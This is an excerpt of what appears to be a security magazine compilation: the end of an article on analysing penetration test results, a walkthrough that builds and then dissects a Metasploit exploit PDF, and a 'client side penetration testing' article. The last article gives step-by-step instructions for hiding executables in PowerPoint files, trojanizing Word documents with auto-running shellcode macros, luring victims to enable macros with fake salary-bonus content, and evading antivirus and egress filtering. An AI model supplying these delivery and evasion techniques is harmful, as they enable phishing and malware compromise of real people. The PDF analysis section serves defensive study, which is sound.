sure to document and save this plan, as after the test it will serve as your framework of what the results should (and shouldn't)
encompass.
For instance, say your scope included all routers and switches within the organization and the task was to check for any
vulnerability that could be associated with those devices. In the process of your scan, the data shows a Windows box that has a
vulnerable FTP server on it. While the vulnerable service poses a risk, spending time evaluating a device that is out of scope can
impact your penetration test analysis timeline. Such a discovery may be indicative of a minor privilege access management issue or
a more serious breach, but either way, simply report the oddity informally and store the information collected.
If time and requirements allow for it, the data can be used in an addendum to your report, presenting a high-level overview of
out-of-scope vulnerabilities discovered that need further review. Either way, never destroy results that could be pertinent, but not
directly part of the deliverable until given the go ahead.
Once you've identified the penetration test vulnerability results that are in scope, verify their validity using multiple resources.
This is an important piece as not any one tool will always give accurate information relative to the scope of your test. These
resources should generally include network discovery results from a tool such as Nmap. Additionally, data can be correlated with
results from a vulnerability assessment tool like Nessus.
During the initial penetration test results analysis, the key is to weed out vulnerabilities that may be tied to particular services
but irrelevant based on platform. A good example of this may be an SMB exploit for Windows, but the platform was actually a Linux
box running Samba, which enables several non-Windows platforms to interact with Windows systems using TCP/IP. Although newer
scanners are always doing a better job of platform identification, networks can often obfuscate actual platform results because of
dedicated security devices such as firewalls, IPS and load balancers.
From here, compare the penetration test results data to any and all network documentation. Today more penetration tests are
being run in-house as a white-box test to validate that network design reflects operational implementation, which lends much
insight to the correlation of data. From this perspective, a white-box test can generally be more accurate, as an actual vulnerability
can be correlated against a network architecture diagram, IP subnet allocations, service lists and other documented aspects of the
network. If you're running an internal test and you have access to this information, using it in this fashion will help you flush out
false-positives that may burn valuable research time for critical vulnerabilities.
Once you feel the results have been whittled down to a manageable number, it is time to apply metrics to appropriately rank the
risks you've identified. This should be done through security metrics. These can be general, but should take into consideration the
nuances of your environment. There are a number of in-depth, free and easy-to-implement metrics frameworks out there. One is
the Open Source Security Testing Methodolgy Manual (OSSTMM), and another is the Open Software Assurance Maturity Model
(OpenSAMM). While the OSSTMM is geared directly at security testing, both have good examples and activities to build a metrics
system for your organization.
Some of your penetration test tools will provide relative risk ratings with limited scope: that of the actual vulnerability with no
considerations to any other controls in place. This is good and bad. Good because it can provide a quick overview of high-risk,
remotely exploitable vulnerabilities that may allow an attacker to completely take over an endpoint device, but bad from the
perspective that the vulnerability identified may be on a box so tightly tucked away into a dark part of your network protected by
many other controls that other more dangerous findings may seem more concerning.
Ultimately the motivations behind the test itself will drive what the final report looks like. As an example, the report might describe
the penetration testing objective and scope, the penetration testing results in a ranked order, conclusions with remediation
recommendations and an optional appendix for further description or out of scope findings. Remember that realistic threat rankings
are per metrics you define, and out-of-the-box high, medium and low rankings generally do not reflect that actual risk accurately.
Penetration testing remains an important method for discovering network security weaknesses. It's a lot of time and effort, and
it doesn't make sense to go through the process without a strategy for making use of the results. By verifying the scope of the test,
validating the results, applying metrics to classify their severity, and reporting the findings in a clear, concise way, you can provide a
-47-
valuable service that truly reflects the current network security risk posture of your organization.
-48-
Deep inside malicious PDF

June 2015

When we start to check the PDF files that exist in our PC or laptop, we may use antivirus scanner, but in this days it seems not good
enough to detect malicious PDF that counties a shell code because, as attacker mostly encrypt it’s countent to bypass the antivirus
scanner and in many times target a zero day vulnerability that exists in Adobe Acrobat Reader or in updated version.

Before we start analyze malicious PDF, we going to have a simple look at PDF structures as to understand how the shell code work
and where it locate.

PDF components: Header


The first line of pdf show the pdf format version the most important line that give to you the basic information of the pdf file for
example “%PDF-1.4 means that file fourth version.

PDF Body
The body pdf file consist of objects that compose contents of the document. These objects include fonts, images, annotations, text
streams and user can put invisible objects or elements, this objects can interactive with pdf features like animation, security
features. The body of the pdf supports two types of numbers (integers, real numbers).

The Cross-Reference Table (xref table)


The cross- reference contains links of all objects and elements that exist on file format, you can use this feature to see other pages
contents (when the users update the PDF the cross-reference table gets updated automatically).

The Trailer
The trailer contains links to cross-reference table and always ends up with %%EOF to identify the end of a PDF file. The trailer
enables a user to navigate to the next page by clicking on the link provided.

Malicious PDF through Metasploit


Now after we have made a tour inside PDF file format and what it contains, we will start to install old version of Adobe Acrobat
reader 9.4.6 and 10 through to 10.1.1 that will be vulnerable to Adobe U3D Memory Corruption Vulnerability. This exploit still exists
in Metasploit framework so we going to create the malicious PDF and analysis it in KALI Linux distribution. Start opening the
terminal and type msfconsole. We going to setting some Metasploit variables to be sure that everything is working fine.

After choosing the exploit type, we choose the payload that will execute during exploitation in the remote target and open
Meterpreter session. The file has been saved on /root/.msf4/local.

So we now we move the file to Desktop for easier located by typing in the terminal
root@kali :~# cd /root/.msf4/local
root@kali :~# mv msf.pdf /root/Desktop

PDFid
Now we are going to use pdfid to see what the pdf continue of elements and objects and JavaScript and see if something interesting
to analyze. The PDF has only one page and maybe its normal. There are several JavaScript objects inside… this is very strange. There
is also an OpenAction object which will execute this malicious JavaScript, so we going to use peepdf.

Peepdf
Peepdf its python tool very powerful for PDF analysis, and provides all necessary components that security researcher need in PDF
analysis without using many tolos. To do that, it supports encryption, object streams, shellcode emulation, javascript analysis. For
malicious PDF, it shows potential vulnerabilities, suspicious elements, powerful Interactive console, PDF obfuscation (bypassing
AVs). Decoding: hexadecimal – ASCII and HEX search.
-49-

Analysis
To start analysis, go to the directory of the PDF file, then start with syntax /usr/bin/peepdf–f msf.pdf.

Choose the LHOST which is our IP address , which we can view typing ifconfig in a new terminal.

Finally we type exploit to create the PDF file with configuration we created before.

We use –f option to avoid errors and force the tool to ignore them. This is the default output, but we can see some interesting
things.

First one we see, is the highlighted one object 15 which contains JavaScript code and we have also one object 4 which contains two
executing elements (/AcroForm & /OpenAction) and the last one is /U3D, showing us known vulnerability.

For now we will start to explore this objects by getting an interactive console by typing syntax /usr/bin/peepdf –i msf.pdf

Next commands will show the logical structure of the file, and we start explore object 4 (/Acro-Form).

When we type object 4, it gives you another objects to explore. For now we don’t see any important information or seems
suspicious except object 2 (XFA array) that gave us the element <fjdklsaj fodpsaj fopjdsio> and seems to us not continue something
special. Let’s move to the another object (Open Action).

Now we can see the JavaScript code that will be executed when the pdf file is opened. The other part of the JavaScript code is barely
obfuscated like writing some variables in hex and in this code we can see a heap carrying with shell code plus some padding bytes.
The attackers typically use unicode to encode their shell code and then use the unescape function to translate the unicode
representation to binary content. Now we are sure that it isa malicious pdf.

Defend
We defend our network from that type of malicious files by providing strong e-mail and web filter, IPS and with application control:
disable JavaScript and Disable PDF rendering in browsers, block PDF readers from accessing file system and network resources.
Deploy security awareness.
-50-
Client Side Penetration Testing

February 2015

This article includes techniques on how to embed an executable file within attachable files, without being detected by mail filters
and anti-virus. If you know how to deliver spoofed emails without being blocked this would be a good tutorial for you.

Upon being able to contact the target and sound legitimate, we should be able to have a binary executed through persuasive and
undetectable techniques. Below we discuss some of these techniques:

PowerPoint presentation with embedded .exe

A legitimate and undetectable by AntiVirus method to deliver an executable (if the executable itself is undetectable of course), is by
embedding an object to a PowerPoint presentation. However, it only works on MS Office 2007 and earlier versions, but not on MS
Office 2010 or 2013.

On the 1st slide of the presentation we take the following steps:


 Navigate to "Insert" tab
 Click on "object"
 Choose the "Create from file" option and select the executable

Tip: Draw something on the 1st slide and "send to back" the created object so it is not visible when the presentation is opened by
the target.

After creating the object we should configure it to execute immediately when someone runs the presentation (if the target clicks
"Run"), as described below.

 Navigate to "Animations" tab


 Click "Custom Animation" on the top left
 Click "Add Effect" on the box which will appear on the right -> Object Actions -> Activate Contents

Select the created action and at the "Start:" property choose "With Previous"

Afterwards, we test if everything is working properly by renaming the presentation to .pps and running it. A prompt which requires
us to authorize the execution should appear and if we click "Run" the executable file will run.

The last thing we have to do is to create a nice looking 1st slide (the title of an "internal" presentation with colors and styles similar
to the target company is a good choice) and also create a 2nd slide which will tell the user that he can't see the presentation if he
doesn't run the executable.

Word Macro

An MS Word file can be trojanized with shellcode in the form of a macro. The shellcode can be encoded by Metasploit’s Powershell
Base64 Command Encoder (cmd/powershell_base64) and then outputted to VBA format. This technique is currently undetectable
by most AVs, provided that the shellcode itself is undetectable. However, it is possible to bypass all AVs by changing the macro
manually.

After encoding the shellcode using the “cmd/powershell_base64” metasploit module, we execute the following commands.

We add the shellcode at a VBA script:


-51-
$ cat shellcode.bin | msfencode -t vba > macro.txt

Check if everything is ok:

$ cat macro.txt
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal …..
………
………
Sub Workbook_Open()
Auto_Open
End Sub

 Open MS Word and navigate to View > Macros > View Macros
 Give an arbitrary Macro name and at “Macros in:” select *Current document name (document)*
 Select “Create” and after clearing the contents of the new window that is opened, paste the content of macro.txt
 Close the macros window and save the document as “Word 97-2003 document” that produces a .doc Word file. There is also
an option to save the document as Word Macro Enabled Document (*.docm) that is less preferable due to the produced
document icon, that is not the same as normal Word files, plus the .docm file type may seem suspicious.

When the document is opened by the target, he will be notified that “Macros have been disabled” by a security warning bar. It is
crucial to trigger target’s curiosity in order to bend his will and make him enable macros. To achieve that, the content of the
document should involve legitimate information that has been harvested passively from various sources and advertise something
extraordinary e.g. salary bonus etc.

UAC Awareness

It is possible to add windows User Account Control (UAC) awareness to any windows executable. Making the executable UAC-aware
may prove to be essential in specific cases where the target is a local administrator, but UAC is set to the highest level. Metasploit's
“bypassuac” module will not work when UAC is at the highest level. Furthermore, Metasploit’s “ask” module requires having an
active session established and it will also ask for the Administrator password in case the user does not have local administrator
privileges. If we choose to make the executable UAC-aware we prefer giving it the “highestAvailable” privilege and not
“requiredAdministrator”, unless we want to compel the target user to call the administrator and request him to fill his password in
order to gain administrator access. We may make a UAC-aware executable by either following the steps of the article below, or
through Visual Studio.

http://www.codeproject.com/Articles/17968/Making-Your-Application-UAC-Aware

Evading blocking technologies

Blocking technologies include AntiVirus and EndPoint software, IDS/IPS, Proxy/Web Filtering, Firewalls with deep packet inspection
etc.

 Encapsulate any traffic between you and the target over Secure Sockets Layer (SSL) to avoid packet inspection. Prefer SSL
certificates signed by a trusted certificate authority over self-signed ones. This applies to trojan communication, phishing
websites and trojan delivery by any means.
 Use Code Signing Certificates for any piece of code that is delivered to the target (Java applets, trojans, macros in Word files
etc.). Although Code Signing will not evade any detected signatures in the code or behavioral triggering, it will help
significantly versus certain checks, especially score-based blocking rulesets.
 Do not use IP addresses or dynamic dns names for any type of reverse connection. Register a domain name instead and use
hostname calls.
 To evade egress filtering, use HTTP(S) reverse payloads and make the trojan proxy aware using WinINet API.

También podría gustarte